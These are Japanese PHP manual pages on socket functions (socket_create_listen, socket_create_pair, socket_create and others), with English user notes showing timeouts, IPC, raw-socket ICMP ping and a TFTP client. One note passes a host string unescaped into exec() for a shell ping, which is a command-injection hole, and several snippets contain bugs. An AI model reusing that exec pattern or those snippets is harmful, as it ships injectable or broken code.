In reply to the function socket_raw_connect posted by "net_del at freemail dot ru". In the function you give a return value and afterwords you try to close the connection. That won't ever work. I think you want to alter your code ;-)
seymour@itsyourdomain 01-Oct-2003 12:43
here's how you can implement timeouts with the socket functions.

this example works for blocking sockets but will work for both blocking and nonblocking with minor modifications. first call to connect in nonblocking mode returns 115 EINPROGRESS, additional calls return 114 EALREADY if the connection has not already failed or succeeded. once the connection succeeds, the socket resource will be returned.

<?
    $host = "127.0.0.1";
    $port = "80";
    $timeout = 15;  //timeout in seconds

    $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)
      or die("Unable to create socket\n");

    socket_set_nonblock($socket)
      or die("Unable to set nonblock on socket\n");

    $time = time();
    while (!@socket_connect($socket, $host, $port))
    {
      $err = socket_last_error($socket);
      if ($err == 115 || $err == 114)
      {
        if ((time() - $time) >= $timeout)
        {
          socket_close($socket);
          die("Connection timed out.\n");
        }
        sleep(1);
        continue;
      }
      die(socket_strerror($err) . "\n");
    }

    socket_set_block($this->socket)
      or die("Unable to set block on socket\n");
?>
w at ff dot st 28-Jun-2003 02:20
man page for connect :
 EINPROGRESS
The socket is non-blocking and the connection cannot be completed immediately.  It is possible to select(2) or poll(2) for completion by selecting the socket for writing. After select indicates  writability,  use  getsockopt(2)  to read the SO_ERROR option at level SOL_SOCKET to determine whether connect completed successfully (SO_ERROR is zero) or unsuccessfully (SO_ERROR is one of the usual error codes listed here, explaining the reason for the failure).

use socket_getoption($socket,SOL_SOCKET,SO_ERROR) . If you get value 115, it is connecting. If you get value different than 115 and 0, that means that an error has occured (see what error with socket_strerror()).

However, I don't know how does that works under Windows, maybe it wont work at all. It is supposed to work under Linux (man pages said that).
greg at mtechsolutions dot ca 30-Apr-2003 02:12
If you're using non-blocking, be sure not to turn it on until after you connect, otherwise you will get the mesasge:

PHP Warning:  socket_connect() unable to connect [115]: Operation now in progress in file.php on line 123

and socket_connect() will return false (even though it will connect).
logan at voerthegame dot com 24-Jul-2002 11:24
I had the same problem with the timeout, and i applied this solution.

It works only on linux PHP, i make a ping to the ip before connect the socket.....

<?php
$address = gethostbyname ($ip);
        $command = "ping -c 1 " . $address;
        $r = exec($command);
          if ($r[0]=="r")
          {
            $socket = socket_create (AF_INET, SOCK_STREAM, 0);
            if ($socket < 0) {
                echo "socket_create() failed: reason: " . socket_strerror ($socket) . "\n";
            } else {
                echo "OK.\n";
            }
?>


接続を受けつけるためにポートにソケットをオープンする

  • ≪ socket_connect
  • socket_create_pair ≫
  • PHP Manual
  • ソケット 関数
  • 接続を受けつけるためにポートにソケットをオープンする

socket_create_listen

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_create_listen — 接続を受けつけるためにポートにソケットをオープンする

説明

socket_create_listen ( int $port , int $backlog = 128 ) : Socket|false

socket_create_listen() は、 AF_INET 型で すべての ローカルインターフェイスの指定したポート上で新規接続を待ち受ける 新しい Socket クラスのインスタンスを作成します。

この関数は、新規接続のみを受け入れるソケットを作成しやすくするためのものです。

パラメータ

port

すべてのインターフェイスで待ち受けるポート。

backlog

backlog パラメータは、 接続の順番待ちのキューをどれだけの長さまで保持するかを定義します。 SOMAXCONN を backlog パラメータに渡します。詳細な情報は socket_listen() を参照ください。

返り値

socket_create_listen() は、 成功した場合に新しい Socket クラスのインスタンスを、 エラー時に false を返します。エラーコードは socket_last_error() で取得可能です。このコードを socket_strerror() に渡すと、エラーの詳細が文字列で取得可能です。

注意

注意:

特定のインターフェイスのみを listen するソケットを作成したい場合は socket_create()、 socket_bind() および socket_listen() を使用します。

変更履歴

バージョン | 説明
8.0.0 | 成功した場合に、この関数は Socket クラスのインスタンスを返すようになりました。 これより前のバージョンでは、リソースを返していました。

参考

  • socket_create() - ソケット（通信時の終端）を作成する
  • socket_create_pair() - 区別できないソケットの組を作成し、配列に保存する
  • socket_bind() - ソケットに名前をバインドする
  • socket_listen() - ソケット上で接続待ち(listen)する
  • socket_last_error() - ソケットの直近のエラーを返す
  • socket_strerror() - ソケットエラーの内容を文字列として返す

User Contributed Notes

aeolianmeson at ifacfchi dot blitzeclipse dot com 26-Jun-2008 03:34
I believe that on some systems this may not bind to some or all public interfaces.

On my Windows system, I could not connect on the public interface using this, but could when I made the individual calls to create, bind, and listen.

Dustin Oprea
sysspoof at ng-lab dot org 06-Mar-2008 11:03
Please note that port 1 to and with 1024 on linux and bsd system require root privileges. So it is recommended to choose a higher port for your own application.
jdittmer at ppp0 dot net 17-Jul-2004 04:42
If you specify no port number, or 0, a random free port will be chosen.
To use ports for ipc between client/server on the same machine you can use (minus error checking)

server.php:
<?php
$sock = socket_create_listen(0);
socket_getsockname($sock, $addr, $port);
print "Server Listening on $addr:$port\n";
$fp = fopen($port_file, 'w');
fwrite($fp, $port);
fclose($fp);
while($c = socket_accept($sock)) {
   /* do something useful */
   socket_getpeername($c, $raddr, $rport);
   print "Received Connection from $raddr:$rport\n";
}
socket_close($sock);
?>

client.php:
<?php
$fp = fopen($port_file, 'r');
$port = fgets($fp, 1024);
fclose($fp);
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($sock, '127.0.0.1', $port);
socket_close($sock);
?>
basim at baassiri dot com 06-Feb-2004 02:50
Remember that ports are only valid from 1 - 65535

[editor's note: typo fixed, thanks abryant at apple dot com]


区別できないソケットの組を作成し、配列に保存する

  • ≪ socket_create_listen
  • socket_create ≫
  • PHP Manual
  • ソケット 関数
  • 区別できないソケットの組を作成し、配列に保存する

socket_create_pair

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_create_pair — 区別できないソケットの組を作成し、配列に保存する

説明

socket_create_pair ( int $domain , int $type , int $protocol , array &$pair ) : bool

socket_create_pair() は、接続されており区別できない 2 つのソケットを作成し、それを pair に保存します。 この関数は、一般に IPC（InterProcess Communication: プロセス間通信） で使用します。

パラメータ

domain

domain は、ソケットで使用するプロトコルの種類を指定します。 完全な一覧は socket_create() を参照ください。

type

type では、ソケットが使用する通信の形式を選択します。 完全な一覧は socket_create() を参照ください。

protocol

protocol は、指定した domain の中の特定のプロトコルを指定します。これは、返されるソケットとの通信に使用されます。 使用可能な値の名前は getprotobyname() で取得可能です。もし要求されるプロトコルが TCP あるいは UDP の場合、 対応する定数 SOL_TCP および SOL_UDP も使用可能です。

サポートするプロトコルの完全な一覧は socket_create() を参照ください。

pair

2 つの Socket クラスのインスタンスが格納される配列への参照。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | pair は、 Socket クラスのインスタンスの配列へのリファレンスになりました。 これより前のバージョンでは、リソースの配列へのリファレンスでした。

例

例1 socket_create_pair() の例

<?php
$sockets = array();

/* Windows では AF_INET を使う必要があります */
$domain = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN' ? AF_INET : AF_UNIX);

/* ソケットの組の設定 */
if (socket_create_pair($domain, SOCK_STREAM, 0, $sockets) === false) {
    echo "socket_create_pair failed. Reason: ".socket_strerror(socket_last_error());
}
/* データの送受信 */
if (socket_write($sockets[0], "ABCdef123\n", strlen("ABCdef123\n")) === false) {
    echo "socket_write() failed. Reason: ".socket_strerror(socket_last_error($sockets[0]));
}
if (($data = socket_read($sockets[1], strlen("ABCdef123\n"), PHP_BINARY_READ)) === false) {
    echo "socket_read() failed. Reason: ".socket_strerror(socket_last_error($sockets[1]));
}
var_dump($data);

/* ソケットのクローズ */
socket_close($sockets[0]);
socket_close($sockets[1]);
?>

例2 socket_create_pair() での IPC の例

<?php
$ary = array();
$strone = 'Message From Parent.';
$strtwo = 'Message From Child.';

if (socket_create_pair(AF_UNIX, SOCK_STREAM, 0, $ary) === false) {
    echo "socket_create_pair() failed. Reason: ".socket_strerror(socket_last_error());
}
$pid = pcntl_fork();
if ($pid == -1) {
    echo 'プロセスを fork できません。';
} elseif ($pid) {
    /* 親プロセス */
    socket_close($ary[0]);
    if (socket_write($ary[1], $strone, strlen($strone)) === false) {
        echo "socket_write() failed. Reason: ".socket_strerror(socket_last_error($ary[1]));
    }
    if (socket_read($ary[1], strlen($strtwo), PHP_BINARY_READ) == $strtwo) {
        echo "Received $strtwo\n";
    }
    socket_close($ary[1]);
} else {
    /* 子プロセス */
    socket_close($ary[1]);
    if (socket_write($ary[0], $strtwo, strlen($strtwo)) === false) {
        echo "socket_write() failed. Reason: ".socket_strerror(socket_last_error($ary[0]));
    }
    if (socket_read($ary[0], strlen($strone), PHP_BINARY_READ) == $strone) {
        echo "Received $strone\n";
    }
    socket_close($ary[0]);
}
?>

参考

  • socket_create() - ソケット（通信時の終端）を作成する
  • socket_create_listen() - 接続を受けつけるためにポートにソケットをオープンする
  • socket_bind() - ソケットに名前をバインドする
  • socket_listen() - ソケット上で接続待ち(listen)する
  • socket_last_error() - ソケットの直近のエラーを返す
  • socket_strerror() - ソケットエラーの内容を文字列として返す

User Contributed Notes

cweiske at php dot net 09-May-2009 01:45
The underlying sockpair() function does only support AF_UNIX at least on BSD and Linux.
thegreatall at gmail dot com 13-Jul-2007 11:24
There is a syntax error in one of the code samples provided, it should look like this:
<?php
$sockets = array();
/* Setup socket pair */
if (socket_create_pair(AF_UNIX, SOCK_STREAM, 0, $sockets) === false) {
    echo "socket_create_pair failed. Reason: ".socket_strerror(socket_last_error());
}
/* Send and Recieve Data */
if (socket_write($sockets[0], "ABCdef123\n", strlen("ABCdef123\n")) === false) {
    echo "socket_write() failed. Reason: ".socket_strerror(socket_last_error($sockets[0]));
}
if (($data = socket_read($sockets[1], strlen("ABCdef123\n"), PHP_BINARY_READ)) === false) {
    echo "socket_read() failed. Reason: ".socket_strerror(socket_last_error($sockets[1]));
}
var_dump($data);

/* Close sockets */
socket_close($sockets[0]);
socket_close($sockets[1]);
?>


ソケット（通信時の終端）を作成する

  • ≪ socket_create_pair
  • socket_export_stream ≫
  • PHP Manual
  • ソケット 関数
  • ソケット（通信時の終端）を作成する

socket_create

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

socket_create — ソケット（通信時の終端）を作成する

説明

socket_create ( int $domain , int $type , int $protocol ) : Socket|false

通信のエンドポイント(終端)と呼ばれることもある Socket クラスのインスタンスを作成し、 返します。典型的なネットワーク接続は、2つのソケットから成り立ちます。 このとき、片方はクライアント、もう片方はサーバーの役割をします。

パラメータ

domain

パラメータ domain には、 ソケットが利用するプロトコルファミリーを指定します。

指定可能なアドレス/プロトコルファミリーの一覧
ドメイン | 説明
AF_INET | IPv4 インターネットプロトコル。 このプロトコルファミリーに属するプロトコルとしてよく知られているのは、 TCP や UDP です。
AF_INET6 | IPv6 インターネットプロトコル。TCP と UDP が、このプロトコルファミリーで一般的なプロトコルです。
AF_UNIX | ローカルでのコミュニケーションに用いられるプロトコルファミリーです。 高い効率と低いオーバーヘッドを誇るため、IPC (プロセス間通信) でよく使われます。
type

type パラメータは、 ソケットが利用する通信方式を指定します。

利用できるソケットのタイプ
タイプ | 説明
SOCK_STREAM | このタイプでは、時系列的、高信頼性、全二重、接続型のバイトストリームが利用できます。 帯域外のデータ転送メカニズムがサポートされている場合もあります。 TCP プロトコルは、このソケットタイプに基づきます。
SOCK_DGRAM | このタイプでは、データグラム(非接続型で、信頼性の高くない 固定バイト長のメッセージ) がサポートされます。 UDP プロトコルは、このソケットタイプに基づきます。
SOCK_SEQPACKET | このタイプでは、時系列的な、信頼性のある、 双方向の接続指向型の固定長データグラム転送が利用できます。 パケットを消費する側は、一つのパケット全部を一度の read コールで読み込む必要があります。
SOCK_RAW | このタイプでは、素のネットワークプロトコルを操作できます。 この特殊なソケットを使って、どのタイプのプロトコルでもユーザーの手で構築することができます。 よくある使い方として、(ping のような) ICMP リクエストの作成があります。
SOCK_RDM | このタイプでは、信頼に足る、非時系列的なデータグラム転送が利用できます。 ほとんどのオペレーティングシステムでは実装されていないでしょう。
protocol

protocol は、ソケット上の通信で使われる domain で指定されたファミリーに属するプロトコルを指定します。 正しい値は、getprotobyname() を使うことで取得できます。利用したいプロトコルが、TCP または UDP の場合は、定数 SOL_TCP と SOL_UDP を指定することもできます。

一般的なプロトコルの一覧
名称 | 説明
icmp | Internet Control Message Protocol は、主にゲートウェイやホストが、 データグラム通信におけるエラーを報告するのに使われます。 "ping" コマンド (最近のほとんどのオペーレーティングシステムに 搭載されています) が ICMP アプリケーションの一例です。
udp | User Datagram Protocol は、非接続指向の、信頼性の高くない、 固定のレコード長を用いるプロトコルです。このような側面のおかげで、 UDP はプロトコルとして最小限のオーバーへッドしか要求しません。
tcp | Transmission Control Protocol は、信頼性の高い、接続指向かつ ストリーム指向の全二重通信プロトコルです。TCP は、 すべてのパケットが、送信された順序で(時系列的に)受信されることを 保証します。もし、何らかの理由でパケットが通信中に失われた場合、 TCP では、送信先から通知があるまで、パケットが再送信されるように なっています。信頼性とパフォーマンス上の理由から、TCP の実装は、 下層にあるデータグラム通信レイヤーのオクテット幅を 適当な長さに決定します。このため、TCP アプリケーションは、 レコードの全部が一度に転送されない場合も考慮しなければなりません。

返り値

socket_create() は、 成功時に Socket クラスのインスタンス、 失敗時に false を返します。 実際のエラーコードは、socket_last_error() を コールすることにより取得できます。このエラーコードをさらに socket_strerror()に渡すことにより、 エラーの内容を文字列で取得することが可能です。

変更履歴

バージョン | 説明
8.0.0 | 成功した場合に、この関数は Socket クラスのインスタンスを返すようになりました。 これより前のバージョンでは、リソースを返していました。

エラー / 例外

domain や type に 不正な値が与えられた場合、socket_create() は、これらを それぞれ AF_INET と SOCK_STREAM であるとみなし、E_WARNING メッセージを出します。

参考

  • socket_accept() - ソケットへの接続を許可する
  • socket_bind() - ソケットに名前をバインドする
  • socket_connect() - ソケット上の接続を初期化する
  • socket_listen() - ソケット上で接続待ち(listen)する
  • socket_last_error() - ソケットの直近のエラーを返す
  • socket_strerror() - ソケットエラーの内容を文字列として返す

User Contributed Notes

Sakrizz 16-Nov-2016 10:46
Here's a solution for icmpv6 ping with php, dropping it here in case if someone has problems with icmpv6 with php.

<?php
$host = "2a03:2880:f11b:83:face:b00c:0:25de";
$timeout = 100000;
$count = 3;
echo "Latency: ". round(1000 * pingv6($host,$timeout,$count),5) ." ms \n";

function pingv6($target,$timeout,$count) {
    echo "target is ipv6 address, ". getprotobyname('ipv6-icmp'). " \n";
    /* create the socket, the last '1' denotes ICMP */
    $socket = socket_create(AF_INET6, SOCK_RAW, getprotobyname('ipv6-icmp'));
    /* set socket receive timeout to 1 second */
    $sec=intval($timeout/1000);
    $usec=$timeout%1000*1000;
    socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array("sec"=>$sec, "usec"=>$usec));
    /* socket package parameters */
    $type = "\x80";
    $seqNumber = chr(floor($i/256)%256) . chr($i%256);
    $checksum= "\x00\x00";
    $code = "\x00";
    $identifier = chr(rand(0,255)) . chr(rand(0,255));
    $msg = "!\"#$%&'()*+,-./1234567";
    $package = $type.$code.$checksum.$identifier.$seqNumber.$msg;
        $checksum = icmpChecksum($package);
        $package = $type.$code.$checksum.$identifier.$seqNumber.$msg;
    /* socket connect */
    if(@socket_connect($socket, $target, null)){
        for($i = 0; $i < $count; $i++){
                list($start_usec, $start_sec) = explode(" ", microtime());
                $start_time = ((float) $start_usec + (float) $start_sec);
                $startTime = microtime(true);
                socket_send($socket, $package, strLen($package), 0);
                while ($startTime + $timeout*1000 > microtime(true)){
                        if(socket_read($socket, 255) !== false) {
                                list($end_usec, $end_sec) = explode(" ", microtime());
                                $end_time = ((float) $end_usec + (float) $end_sec);
                                $total_time = $end_time - $start_time;
                                echo "round trip time (".$i."): ". $total_time ."\n";
                                return $total_time;
                                break;
                        }else{
                                return "null";
                                echo "Timed out (".$i."), Got no echo reply\n";
                                break;
                        }
                }
            usleep($interval*1000);
        }
        socket_close($socket);
    }
}

function icmpChecksum($data){
if (strlen($data)%2) $data .= "\x00";
$bit = unpack('n*', $data);
$sum = array_sum($bit);
while ($sum >> 16)
  $sum = ($sum >> 16) + ($sum & 0xffff);
return pack('n*', ~$sum);
}

?>
ab1965 at yandex dot ru 04-May-2012 12:43
It took some time to understand how one PHP process can communicate with another by means of unix udp sockets. Examples of 'server' and 'client' code are given below. Server is assumed to run before client starts.

'Server' code
<?php
if (!extension_loaded('sockets')) {
    die('The sockets extension is not loaded.');
}
// create unix udp socket
$socket = socket_create(AF_UNIX, SOCK_DGRAM, 0);
if (!$socket)
        die('Unable to create AF_UNIX socket');

// same socket will be used in recv_from and send_to
$server_side_sock = dirname(__FILE__)."/server.sock";
if (!socket_bind($socket, $server_side_sock))
        die("Unable to bind to $server_side_sock");

while(1) // server never exits
{
// receive query
if (!socket_set_block($socket))
        die('Unable to set blocking mode for socket');
$buf = '';
$from = '';
echo "Ready to receive...\n";
// will block to wait client query
$bytes_received = socket_recvfrom($socket, $buf, 65536, 0, $from);
if ($bytes_received == -1)
        die('An error occured while receiving from the socket');
echo "Received $buf from $from\n";

$buf .= "->Response"; // process client query here

// send response
if (!socket_set_nonblock($socket))
        die('Unable to set nonblocking mode for socket');
// client side socket filename is known from client request: $from
$len = strlen($buf);
$bytes_sent = socket_sendto($socket, $buf, $len, 0, $from);
if ($bytes_sent == -1)
        die('An error occured while sending to the socket');
else if ($bytes_sent != $len)
        die($bytes_sent . ' bytes have been sent instead of the ' . $len . ' bytes expected');
echo "Request processed\n";
}
?>

'Client' code
<?php
if (!extension_loaded('sockets')) {
    die('The sockets extension is not loaded.');
}
// create unix udp socket
$socket = socket_create(AF_UNIX, SOCK_DGRAM, 0);
if (!$socket)
        die('Unable to create AF_UNIX socket');

// same socket will be later used in recv_from
// no binding is required if you wish only send and never receive
$client_side_sock = dirname(__FILE__)."/client.sock";
if (!socket_bind($socket, $client_side_sock))
        die("Unable to bind to $client_side_sock");

// use socket to send data
if (!socket_set_nonblock($socket))
        die('Unable to set nonblocking mode for socket');
// server side socket filename is known apriori
$server_side_sock = dirname(__FILE__)."/server.sock";
$msg = "Message";
$len = strlen($msg);
// at this point 'server' process must be running and bound to receive from serv.sock
$bytes_sent = socket_sendto($socket, $msg, $len, 0, $server_side_sock);
if ($bytes_sent == -1)
        die('An error occured while sending to the socket');
else if ($bytes_sent != $len)
        die($bytes_sent . ' bytes have been sent instead of the ' . $len . ' bytes expected');

// use socket to receive data
if (!socket_set_block($socket))
        die('Unable to set blocking mode for socket');
$buf = '';
$from = '';
// will block to wait server response
$bytes_received = socket_recvfrom($socket, $buf, 65536, 0, $from);
if ($bytes_received == -1)
        die('An error occured while receiving from the socket');
echo "Received $buf from $from\n";

// close socket and delete own .sock file
socket_close($socket);
unlink($client_side_sock);
echo "Client exits\n";
?>
geoff at spacevs dot com 20-Nov-2010 01:51
Here is a ping function for PHP without using exec/system/passthrough/etc... Very useful to use to just test if a host is online before attempting to connect to it. Timeout is in seconds.

<?PHP
        function ping($host, $timeout = 1) {
                /* ICMP ping packet with a pre-calculated checksum */
                $package = "\x08\x00\x7d\x4b\x00\x00\x00\x00PingHost";
                $socket  = socket_create(AF_INET, SOCK_RAW, 1);
                socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => $timeout, 'usec' => 0));
                socket_connect($socket, $host, null);

                $ts = microtime(true);
                socket_send($socket, $package, strLen($package), 0);
                if (socket_read($socket, 255))
                        $result = microtime(true) - $ts;
                else    $result = false;
                socket_close($socket);

                return $result;
        }
?>
rhollencamp at gmail dot com 08-Sep-2009 09:29
Note that if you create a socket with AF_UNIX, a file will be created in the filesystem. This file is not removed when you call socket_close - you should unlink the file after you close the socket.
alexander dot krause at ed-solutions dot de 20-Mar-2008 12:57
On UNIX systems php needs /etc/protocols for constants like SOL_UDP and SOL_TCP.

This file was missing on my embedded platform.
Jean Charles MAMMANA 31-Jan-2008 04:54
I've written the ping() function using socket_create() with SOCK_RAW.
(on Unix System, you need to have the root acces to execute this function)

<?php

/// start ping.inc.php ///

$g_icmp_error = "No Error";

// timeout in ms
function ping($host, $timeout)
{
        $port = 0;
        $datasize = 64;
        global $g_icmp_error;
        $g_icmp_error = "No Error";
        $ident = array(ord('J'), ord('C'));
        $seq   = array(rand(0, 255), rand(0, 255));

     $packet = '';
     $packet .= chr(8); // type = 8 : request
     $packet .= chr(0); // code = 0

     $packet .= chr(0); // checksum init
     $packet .= chr(0); // checksum init

        $packet .= chr($ident[0]); // identifier
        $packet .= chr($ident[1]); // identifier

        $packet .= chr($seq[0]); // seq
        $packet .= chr($seq[1]); // seq

        for ($i = 0; $i < $datasize; $i++)
                $packet .= chr(0);

        $chk = icmpChecksum($packet);

        $packet[2] = $chk[0]; // checksum init
        $packet[3] = $chk[1]; // checksum init

        $sock = socket_create(AF_INET, SOCK_RAW,  getprotobyname('icmp'));
        $time_start = microtime();
    socket_sendto($sock, $packet, strlen($packet), 0, $host, $port);

    $read   = array($sock);
        $write  = NULL;
        $except = NULL;

        $select = socket_select($read, $write, $except, 0, $timeout * 1000);
        if ($select === NULL)
        {
                $g_icmp_error = "Select Error";
                socket_close($sock);
                return -1;
        }
        elseif ($select === 0)
        {
                $g_icmp_error = "Timeout";
                socket_close($sock);
                return -1;
        }

    $recv = '';
    $time_stop = microtime();
    socket_recvfrom($sock, $recv, 65535, 0, $host, $port);
        $recv = unpack('C*', $recv);

        if ($recv[10] !== 1) // ICMP proto = 1
        {
                $g_icmp_error = "Not ICMP packet";
                socket_close($sock);
                return -1;
        }

        if ($recv[21] !== 0) // ICMP response = 0
        {
                $g_icmp_error = "Not ICMP response";
                socket_close($sock);
                return -1;
        }

        if ($ident[0] !== $recv[25] || $ident[1] !== $recv[26])
        {
                $g_icmp_error = "Bad identification number";
                socket_close($sock);
                return -1;
        }

        if ($seq[0] !== $recv[27] || $seq[1] !== $recv[28])
        {
                $g_icmp_error = "Bad sequence number";
                socket_close($sock);
                return -1;
        }

        $ms = ($time_stop - $time_start) * 1000;

        if ($ms < 0)
        {
                $g_icmp_error = "Response too long";
                $ms = -1;
        }

        socket_close($sock);

        return $ms;
}

function icmpChecksum($data)
{
        $bit = unpack('n*', $data);
        $sum = array_sum($bit);

        if (strlen($data) % 2) {
                $temp = unpack('C*', $data[strlen($data) - 1]);
                $sum += $temp[1];
        }

        $sum = ($sum >> 16) + ($sum & 0xffff);
        $sum += ($sum >> 16);

        return pack('n*', ~$sum);
}

function getLastIcmpError()
{
        global $g_icmp_error;
        return $g_icmp_error;
}
/// end ping.inc.php ///
?>
jens at surefoot dot com 08-Aug-2006 05:46
Please be aware that RAW sockets (as used for the ping example) are restricted to root accounts on *nix systems. Since web servers hardly ever run as root, they won't work on webpages.

On Windows based servers it should work regardless.
06-Jan-2006 02:36
Here's a ping function that uses sockets instead of exec().  Note: I was unable to get socket_create() to work without running from CLI as root.  I've already calculated the package's checksum to simplify the code (the message is 'ping' but it doesn't actually matter).

<?php

function ping($host) {
    $package = "\x08\x00\x19\x2f\x00\x00\x00\x00\x70\x69\x6e\x67";

    /* create the socket, the last '1' denotes ICMP */
    $socket = socket_create(AF_INET, SOCK_RAW, 1);

    /* set socket receive timeout to 1 second */
    socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 1, "usec" => 0));

    /* connect to socket */
    socket_connect($socket, $host, null);

    /* record start time */
    list($start_usec, $start_sec) = explode(" ", microtime());
    $start_time = ((float) $start_usec + (float) $start_sec);

    socket_send($socket, $package, strlen($package), 0);

    if(@socket_read($socket, 255)) {
        list($end_usec, $end_sec) = explode(" ", microtime());
        $end_time = ((float) $end_usec + (float) $end_sec);

        $total_time = $end_time - $start_time;

        return $total_time;
    } else {
        return false;
    }

    socket_close($socket);
}

?>
kyle gibson 28-Oct-2005 05:48
Took me about 20 minutes to figure out the proper arguments to supply for a AF_UNIX socket. Anything else, and I would get a PHP warning about the 'type' not being supported. I hope this saves someone else time.

<?php
$socket = socket_create(AF_UNIX, SOCK_STREAM, 0);
// code
?>
david at eder dot us 25-Jan-2005 11:42
Sometimes when you are running CLI, you need to know your own ip address.

<?php

  $addr = my_ip();
  echo "my ip address is $addr\n";

  function my_ip($dest='64.0.0.0', $port=80)
  {
    $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
    socket_connect($socket, $dest, $port);
    socket_getsockname($socket, $addr, $port);
    socket_close($socket);
    return $addr;
  }
?>
david at eder dot us 08-Jun-2004 08:07
Seems there aren't any examples of UDP clients out there.  This is a tftp client.  I hope this makes someone's life easier.

<?php
  function tftp_fetch($host, $filename)
  {
    $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);

    // create the request packet
    $packet = chr(0) . chr(1) . $filename . chr(0) . 'octet' . chr(0);
    // UDP is connectionless, so we just send on it.
    socket_sendto($socket, $packet, strlen($packet), 0x100, $host, 69);

    $buffer = '';
    $port = '';
    $ret = '';
    do
    {
      // $buffer and $port both come back with information for the ack
      // 516 = 4 bytes for the header + 512 bytes of data
      socket_recvfrom($socket, $buffer, 516, 0, $host, $port);

      // add the block number from the data packet to the ack packet
      $packet = chr(0) . chr(4) . substr($buffer, 2, 2);
      // send ack
      socket_sendto($socket, $packet, strlen($packet), 0, $host, $port);

      // append the data to the return variable
      // for large files this function should take a file handle as an arg
      $ret .= substr($buffer, 4);
    }
    while(strlen($buffer) == 516);  // the first non-full packet is the last.
    return $ret;
  }
?>
evan at coeus hyphen group dot com 14-Feb-2002 06:33
Okay I talked with Richard a little (via e-mail). We agree that getprotobyname() and using the constants should be the same in functionality and speed, the use of one or the other is merely coding style. Personally, we both think the constants are prettier :).

The eight different protocols are the ones implemented in PHP- not the total number in existance (RFC 1340 has 98).

All we disagree on is using 0- Richard says that "accordning to the official unix/bsd sockets 0 is more than fine." I think that since 0 is a reserved number according to RFC 1320, and when used usually refers to IP, not one of it's sub-protocols (TCP, UDP, etc.)


ソケットをカプセル化したストリームに、ソケットをエクスポートする

  • ≪ socket_create
  • socket_get_option ≫
  • PHP Manual
  • ソケット 関数
  • ソケットをカプセル化したストリームに、ソケットをエクスポートする

socket_export_stream

(PHP 7 >= 7.0.7, PHP 8)

socket_export_stream — ソケットをカプセル化したストリームに、ソケットをエクスポートする

説明

socket_export_stream ( Socket $socket ) : resource|false

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

socket

返り値

リソースを返します。失敗した場合に false を返します.

変更履歴

バージョン | 説明
8.0.0 | socket は、Socket クラスのインスタンスになりました。 これより前のバージョンでは、リソース型でした。

User Contributed Notes

There are no user contributed notes for this page.


ソケットのオプションを取得する

  • ≪ socket_export_stream
  • socket_getopt ≫
  • PHP Manual
  • ソケット 関数
  • ソケットのオプションを取得する

socket_get_option

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

socket_get_option — ソケットのオプションを取得する

説明

socket_get_option ( Socket $socket , int $level , int $option ) : array|int|false

socket_get_option() 関数は、ソケット socket のオプション option の値を取得します。socket_get_option() は、失敗した場合に false を返します。

パラメータ

socket

socket_create() あるいは socket_accept() で作成した Socket クラスのインスタンス。

level

level パラメータは、オプションのプロトコルレベルを指定します。 例えば、オプションをソケットレベルで取得するには level パラメータに SOL_SOCKET を指定します。 TCP のようなそれ以外のレベルの場合、そのレベルのプロトコル番号を指定します。 プロトコル番号は getprotobyname() 関数を使用して取得可能です。

option
使用可能なソケットオプション
オプション | 説明 | 型
SO_DEBUG | デバッグ情報を記録するかどうかを報告します。 | int
SO_BROADCAST | ブロードキャストメッセージの送信がサポートされているかどうかを報告します。 | int
SO_REUSEADDR | ローカルアドレスが再利用可能かどうかを報告します。 | int
SO_REUSEPORT | ローカルポートが再利用可能かどうかを報告します。 | int
SO_KEEPALIVE | 定期的なメッセージの送信によって接続がアクティブになっているかどうかを報告します。 もしソケットがこれらのメッセージに応答できなかった場合、 接続は崩壊し、ソケットへの書き込みを行うと SIGPIPE シグナルを受け取ります。 | int
SO_LINGER

データがまだ残っているうちに socket_close() をコールした場合に、socket を残存させるかどうかを報告します。 デフォルトでは、ソケットが閉じられる際には未送信のデータをすべて送信しようとします。 接続ベースのソケットでは、 socket_close() は接続先がデータを認識するまで閉じるのを待ちます。

l_onoff が非ゼロで l_linger がゼロの場合は、 その時点で未送信のデータはすべて破棄されます。 接続ベースのソケットの場合、接続先には RST (リセット) を送信します。

一方 l_onoff が非ゼロで l_linger も非ゼロの場合は、 socket_close() は 全データを送信し終えるか l_linger で指定した時間が経過するまで処理をブロックします。 ソケットが非ブロックモードの場合は、 socket_close() は失敗してエラーを返します。

array。配列に含まれるキーは l_onoff および l_linger のふたつ。
SO_OOBINLINE | socket が帯域外のデータをインラインに残し続けるかを報告します。 | int
SO_SNDBUF | 送信バッファのサイズを報告します。 | int
SO_RCVBUF | 受信バッファのサイズを報告します。 | int
SO_ERROR | エラーステータスに関する情報を報告し、それをクリアします。 | int (socket_set_option() で設定することはできません)
SO_TYPE | socket の型 (たとえば SOCK_STREAM) を報告します。 | int (socket_set_option() で設定することはできません)
SO_DONTROUTE | 送信メッセージがルータを越えるかどうかを報告します。 | int
SO_RCVLOWAT | socket の入力操作を行う際の最小バイト数を報告します。 | int
SO_RCVTIMEO | 入力操作のタイムアウト値を報告します。 | array。配列に含まれるキーはふたつ。 sec はタイムアウトの秒単位の部分で、 usec はタイムアウトのマイクロ秒位の部分。
SO_SNDTIMEO | 出力関数がフロー制御のためにブロックするタイムアウト値を報告します。 | array。配列に含まれるキーはふたつ。 sec はタイムアウトの秒単位の部分で、 usec はタイムアウトのマイクロ秒位の部分。
SO_SNDLOWAT | socket の出力操作を行う際の最小バイト数を報告します。 | int
TCP_NODELAY | Nagle TCP アルゴリズムが無効になっているかどうかを報告します。 | int
